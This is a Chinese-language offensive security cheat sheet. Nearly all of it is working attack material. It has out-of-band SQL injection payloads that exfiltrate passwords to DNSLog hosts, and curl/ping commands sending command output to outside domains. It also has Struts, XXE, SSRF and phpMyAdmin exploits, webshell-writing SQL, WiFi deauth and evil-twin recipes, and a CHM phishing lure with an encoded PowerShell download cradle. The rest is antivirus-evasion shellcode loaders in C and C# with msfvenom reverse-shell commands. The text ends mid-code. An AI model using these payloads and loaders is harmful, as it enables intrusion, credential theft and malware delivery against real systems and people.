http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

DNSLog

http://ceye.io
http://www.dnslog.cn/
注入
MYSQL
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示表
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示字段
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据
?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
MSSQL
查数据
?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
Sa密码
?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
执行命令
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
postgreSQL
?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
Oracle
?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
命令执行
>curl http://0ox095.ceye.io/`whoami`
>ping `whoami`.b182oj.ceye.io
>ping %CD%.lfofz7.dnslog.cn 
&
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
Struts
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
weblogic
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

PHPMyadmin

LOG
show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php'; 
select '<?php eval($_POST[cmd]);?>'
慢查询
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
任意文件读取
phpMyAdmin 2.x
POST /scripts/setup.php HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
LFI
phpMyAdmin 4.0.1--4.2.12,PHP < 5.3.4
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
phpMyAdmin 4.8.0和4.8.1 后台权限
>select '<?php phpinfo();exit;?>'
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_***
RCE
PhpMyAdmin 4.0.x-4.6.2,PHP 4.3.0-5.4.6后台权限
>cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
phpMyAdmin 4.8.0~4.8.3
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
访问http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop';
访问
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

PHP-FPM RCE

>git clone https://github.com/neex/phuip-fpizdam.git
>cd phuip-fpizdam
>go get -v && go build
>go run . http://127.0.0.1/index.php
http://127.0.0.1/index.php?a=id
多执行几次

phpstudy后门

php:5.2.17   5.4.45

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

cmdhijack

From: https://hackingiscool.pl/
poc完整的命令行
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
可能产生的影响
包括拒绝服务,信息泄露,任意代码执行(取决于目标应用程序和系统)。
以web应用为例

image

由于使用了escapeshellcmd(),不易受命令注入的影响,使用本方法
一个poc

image image

不限于任何位置,文件

image

再扩展一下 
如,powershell带-enc执行,或mshta等方法,可参考
https://lolbas-project.github.io/,但是依照windows的特性,在无法将完整字符串解析为有效路径的情况下,会拆分空格后面的内容,这里可以使用&符号
如:
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"

image

Database

MSSQL

判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表
import requests
import re

table_list = ['']

def get_sqlserver_table(table_list, table_num):
	for num in range(0,table_num):
		# print("','".join(table_list))
		sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
		url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
		r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
		res = re.search(r'\'(.*)\'', r.content.decode('utf-8'),  re.M|re.I)
		table_name = str(res.group(1))
		table_list.append(table_name)
		print("[{}] - TableName: {}".format(str(r.status_code), table_name))
if __name__ == "__main__":
	get_sqlserver_table(table_list, 16)

判断是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
执行命令
;exec master..xp_cmdshell "net user name password /add"—
查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
and (select IS_MEMBER('db_owner'))=1--   //  dbo
and (select IS_MEMBER('public'))=1--  //public
站库分离获取服务器IP
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
LOG备份
;alter database testdb set RECOVERY FULL --
;create table cmd (a image) --
;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')-- 
;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
2000差异备份
;backup database testdb to disk ='c:\wwwroot\bak.bak';--
;create table [dbo].[testtable] ([cmd] [image]);--
;insert into testtable (cmd) values(木马hex编码);--
;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
2005差异备份
;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;create/**/table/**/[itpro]([a]/**/image)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;drop/**/table/**/[itpro]—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--

PostgreSQL

连接
>psql -U dbuser -d exampledb -h 127.0.0.1 -p 5432
查看版本
>select version();
列出数据库
>select datname from pg_database;
列出所有表名
>select * from pg_tables;
读取账号秘密
>select usename,passwd from pg_shadow;
当前用户
>select user;
修改密码
>alter user postgres with password '123456';
列目录
>select pg_ls_dir('/etc');
读文件
>select pg_read_file('postgresql.auto.conf',0,100); #行数
&
>drop table wooyun;
>create table wooyun(t TEXT);
>copy wooyun FROM '/etc/passwd';
>select * from wooyun limit 1 offset 0;
&
>select lo_import('/etc/passwd',12345678);
>select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a;
写文件
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[1]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';
&
copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';
爆破
MSF>use auxiliary/scanner/postgres/postgres_login
执行命令版本8.2以下
>create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
>create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
>select system('id');

近源攻击

WI-FI破解

wifite

Kali下工具wifite,加载网卡,开启监听模式,#airmon-ng check kill
#airmon-ng start wlan1
安装hcxtools v4.2.0或更高版本,hcxdumptool v4.2.0或更高版本
#apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
#git clone https://github.com/ZerBea/hcxtools
#cd hcxtools
#make
#make install 
#git clone https://github.com/ZerBea/hcxdumptool
#cd hcxdumptool
#make
#make install
#wifite –-dict /root/Desktop/wordlist.txt  加载

Aircrack-ng

#airmon-ng start wlan0 开启监听模式
#airodump-ng wlan0mon  查看数据包
#airodump-ng –c 1 –bssid APmac –w name wlan1mon保存某AP数据包
#aireplay-ng –deauth 10 –a APmac wlan0mon  deauth攻击
#aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon deauth攻击某个设备直至获取handshake(握手包)
#airmon-ng stop wlan0mon  关闭监听模式
#aircrack-ng –w wordlist.txt name.cap 指定字典破解密码

钓鱼网络

Hostapd

#apt install hostapd dnsmasq
#cd /etc/hostapd
#vim open.conf 创建无加密热点
Interface=wlan1
Ssid=FreeWIFI
Driver=nl80211
Channel=1
Hw_mode=g

#vim /etc/dnsmasq.conf
Dhcp-range=10.0.0.1, 10.0.0.255,12h
Interface=wlan1

#systemctl restart dnsmasq
消除网卡限制
#nmcli radio wifi off
#rfkill unblock wlan
#ifconfig wlan1 10.0.0.1/24
#hostapd open.conf
嗅探
#sysctl –w net.ipv4.ip_forward=1
#iptables –t nat –A POSTROUTING –o 网卡 –j MASQUERADE
#bettercap –iface wlan1
#net.show
#net.sniff on
#driftnet –i wlan1

Hostapd-wpe

#apt install hostapd-wpe
#vim /etc/hostapd-wpe/hostapd-wpe.conf
配置interface=wlan1
Ssid=
Channel=
证书修改
#cd /etc/hostapd-wpe/certs/
文件ca.cnf server.cnf client.cnf
修改countrName stateOrProvinceName localityName …….
#rm –rf *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
#make clean
#./bootstrap
#make install
执行创建热点
#hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
获取到密码时使用asleep破解
#asleap –C Challenge值 –R response值 –W 字典文件

无线干扰

Beacon flood

需切换网卡为监听模式
#airmon-ng start wlan1
创建大量虚假热点Mdk3 mon0 b
#mdk3 wlan1mon b -f /root/wifi.txt -a -s 1500

Deauth flood

针对AP
#airmon-ng start wlan1
#aireplay-ng –deauth 10 –a AP’s mac address mon0
针对AP内设备
#airmon-ng start wlan1       将网卡置为监听模式
#airodump-ng wlan1mon –bssid 目标ap的ssid
#aireplay-ng -0 0 -a ap的ssid -c AP的ssid wlan0mon 开始攻击

Mdk3 destruction

针对范围内
#mdk3 wlan1mon d
针对AP
#airodump-ng wlan1mon
#mdk3 wlan1mon a -a APmac 发起攻击
黑名单
#mdk3 wlan1mon d –c 信道 –b /blacklist.txt.
#mdk3 wlan1mon  b -n test -w -g -c 1 -s 200

WiFi芯片esp8266

Mdk4

#mdk4 wlan0mon d

CVE-2018-4407

Scapy
send(IP(dst="192.168.1.132",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备(通过安全更新2018-001修复)
Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备(通过安全更新2018-005中修复)
Apple OS X El Capitan及更早版本:所有设备

绕过mac地址认证

Ifconfig
#ifconfig wlan1 down
#ifconfig wlan1 hw ether xx:xx:xx:xx:xx:xx
#ifconfig wlan1 up
Macchanger
#macchanger –m xx:xx:xx:xx:xx:xx wlan1
#macchanger –r wlan1

BadUSB

克隆卡

蓝牙

鱼叉式攻击

钓鱼邮件

假冒的内部域名
假冒的外部域名
近似域名
被黑账户
群发/特定发
虚构情景/恶意连接/恶意文件

CVE

CVE-2017-11882
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016
CVE-2017-0199
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016,Vista SP2,Server 2008 SP2,Windows 7 SP1,Windows 8.1
CVE-2012-0158
Microsoft Office 2003 SP3、2007 SP2和SP3,以及2010 Gold和SP1;Office 2003 Web组件SP3;SQL Server 2000 SP4、2005 SP4和2008 SP2,SP3和R2; BizTalk Server 2002 SP1;Commerce Server 2002 SP4、2007 SP2和2009 Gold和R2; Visual FoxPro 8.0 SP1和9.0 SP2; 和Visual Basic 6.0
CVE-2017-0143
Microsoft Windows Vista SP2;Windows Server 2008 SP2和R2 SP1; Windows 7 SP1;Windows 8.1; Windows Server 2012 Gold和R2;Windows RT 8.1;Windows 10 Gold,1511和1607;以及 和Windows Server 2016
OFFICE文档/ PDF文件

可执行文件

文档文件的伪造

扩展名/图标

捆绑

0day

CHM

使用编译的HTML文件加载恶意代码。
使用EasyCHM对html进行编译,在html文件中插入恶意代码。
使用MSF生成powershell格式的web_delivery模块
使用Rundll32配合MyJSRAT实施运行无弹窗

image

把命令base编码避免特殊符号

image

执行语句编码后
>powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA==
通过JSRat执行powershell上线命令
https://github.com/Ridter/MyJSRat
>python MyJSRat.py -i 192.168.1.107 -p 8888 -c "powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA=="

image

访问http://ip/wtf复制利用语句到html文件后编译

image

<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>

image

正常打开CHM文件,无弹窗上线。

image

钓鱼链接

URL跳转

结合恶意文档或程序

短URL

结合水坑攻击

相似域名

域名窃取

第三方服务鱼叉

通过社交软件建立关系,如男女朋友,师父徒弟,HR,寻求业务等进行钓鱼攻击

免杀

MSF免杀

nps_payload

>python nps_payload.py正常生成
>msfconsole -r msbuild_nps.rc开启监听
>%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml
>wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
正常执行结束进程msbuild会失去会话,以下保存bat执行
获得session后立刻迁移进程
@echo off
echo [*] Please Wait, preparing software ..
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\xxx.xml
exit

编码器

>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false
&
>msfvenom --list encoders列出编码器

c/c++源码免杀

>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f c -o 1.c
-i编码20次
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe

指针执行

unsigned char buf[] =
"shellcode";
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
main()
{
	( (void(*)(void))&buf)();
}
使用vc6.0组建编译后在靶机执行

image

当前过不了火绒,360动态静态可过

申请动态内存

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =
"shellcode";
main()
{
	char *Memory;
	Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buf, sizeof(buf));
	((void(*)())Memory)();
}

嵌入汇编

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
	__asm
	{
		mov eax, offset shellcode
		jmp eax
	}
}

强制类型转换

#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main()
{
 ((void(WINAPI*)(void))&buf)();
}

汇编花指令

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
		__asm
	{
		mov eax, offset shellcode
		_emit 0xFF  
		_emit 0xE0
	}
}

XOR加密

https://github.com/Arno0x/ShellcodeWrapper安装
生成raw格式木马
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f raw -o shell.raw

image

加密
> python shellcode_encoder.py -cpp -cs -py shell.raw thisiskey xor
生成的py文件使用py2exe编译执行
生成的cs文件使用csc.exe编译执行
生成的cpp文件使用vc6.0编译,去掉预编译头编译执行

image

远程线程注入

目前过火绒,不过360,可组合一下
Vs新建c++控制台程序
右键属性-》将MFC的使用选为在静态库中使用MFC
生成c格式shellcode粘贴进remote inject.cpp

image

生成项目
能成功上线,并开启calc进程

image image

加载器免杀

shellcode_launcher
https://github.com/clinicallyinane/shellcode_launcher/
生成payload(raw)
>msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f raw -o shellcode.raw
加载器加载
>shellcode_launcher.exe -i shellcode.raw
SSI加载
https://github.com/DimopoulosElias/SimpleShellcodeInjector
生成payload(c)
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f c -o shellcode.c
执行
>cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

image

MSF监听
可使用minGW自行编译
>gcc SimpleShellcodeInjector.c -o xxx.exe
执行
>xxx.exe +生成的编码

c#源码免杀

直接编译

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
MSF启动监听
Payload粘贴到位置
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
	class Program
	{
		static void Main(string[] args)
		{
			byte[] shellcode = new byte[] {payload here};
			UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
			IntPtr hThread = IntPtr.Zero;
			UInt32 threadId = 0;
			// prepare data
			IntPtr pinfo = IntPtr.Zero;
			// execute native code
			hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
			WaitForSingleObject(hThread, 0xFFFFFFFF);
		}
		private static UInt32 MEM_COMMIT = 0x1000;
		private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
		[DllImport("kernel32")]
		private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
		[DllImport("kernel32")]
		private static extern bool VirtualFree(IntPtr lpAddress,
		UInt32 dwSize, UInt32 dwFreeType);
		[DllImport("kernel32")]
		private static extern IntPtr CreateThread(
			UInt32 lpThreadAttributes,
			UInt32 dwStackSize,
			UInt32 lpStartAddress,
			IntPtr param,
			UInt32 dwCreationFlags,
			ref UInt32 lpThreadId
		);
		[DllImport("kernel32")]
		private static extern bool CloseHandle(IntPtr handle);
		[DllImport("kernel32")]
		private static extern UInt32 WaitForSingleObject(
			IntPtr hHandle,
			UInt32 dwMilliseconds
		);
		[DllImport("kernel32")]
		private static extern IntPtr GetModuleHandle(
			string moduleName
		);
		[DllImport("kernel32")]
		private static extern UInt32 GetProcAddress(
			IntPtr hModule,
			string procName
		);
		[DllImport("kernel32")]
		private static extern UInt32 LoadLibrary(
			string lpFileName
		);
		[DllImport("kernel32")]
		private static extern UInt32 GetLastError();
	}
}
Visual studio创建C#.net framework控制台程序编译可过杀软

加密处理

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
粘贴payload后编译加密
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_Encrypt_Maker
{
	class Program
	{
		// 加密密钥,可以更改,加解密源码中保持KEY一致就行
		static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
		static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
		static byte[] payload = { payload here };    // 替换成MSF生成的shellcode
		private static class Encryption_Class
		{
			public static string Encrypt(string key, string data)
			{
				Encoding unicode = Encoding.Unicode;
				return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
			}
			public static byte[] Encrypt(byte[] key, byte[] data)
			{
				return EncryptOutput(key, data).ToArray();
			}
			private static byte[] EncryptInitalize(byte[] key)
			{
				byte[] s = Enumerable.Range(0, 256)
				.Select(i => (byte)i)
				.ToArray();
				for (int i = 0, j = 0; i < 256; i++)
				{
					j = (j + key[i % key.Length] + s[i]) & 255;
					Swap(s, i, j);
				}
				return s;
			}
			private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
			{
				byte[] s = EncryptInitalize(key);
				int i = 0;
				int j = 0;
				return data.Select((b) =>
				{
					i = (i + 1) & 255;
					j = (j + s[i]) & 255;
					Swap(s, i, j);
					return (byte)(b ^ s[(s[i] + s[j]) & 255]);
				});
			}
			private static void Swap(byte[] s, int i, int j)
			{
				byte c = s[i];
				s[i] = s[j];
				s[j] = c;
			}
		}
		static void Main(string[] args)
		{
			byte[] result = Encryption_Class.Encrypt(KEY, payload);
			int b = 0;
			for (int i = 0; i < result.Length; i++)
			{
				b++;
				if (i == result.Length + 1)
				{ Console.Write(result[i].ToString()); }
				if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
			}
		}
	}
}

image

编译解密
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;

namespace NativePayload_Reverse_tcp
{
	public class Program
{
		public static void Main()
		{
			Shellcode.Exec();
  }
}
class Shellcode
{
  public static void Exec()
  {
    string Payload_Encrypted;
    Payload_Encrypted = "payload here";
    string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
    byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
    for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
    {
      byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
      _X_to_Bytes[i] = current;
    }
    // 解密密钥,可以更改,加解密源码中保持KEY一致就行
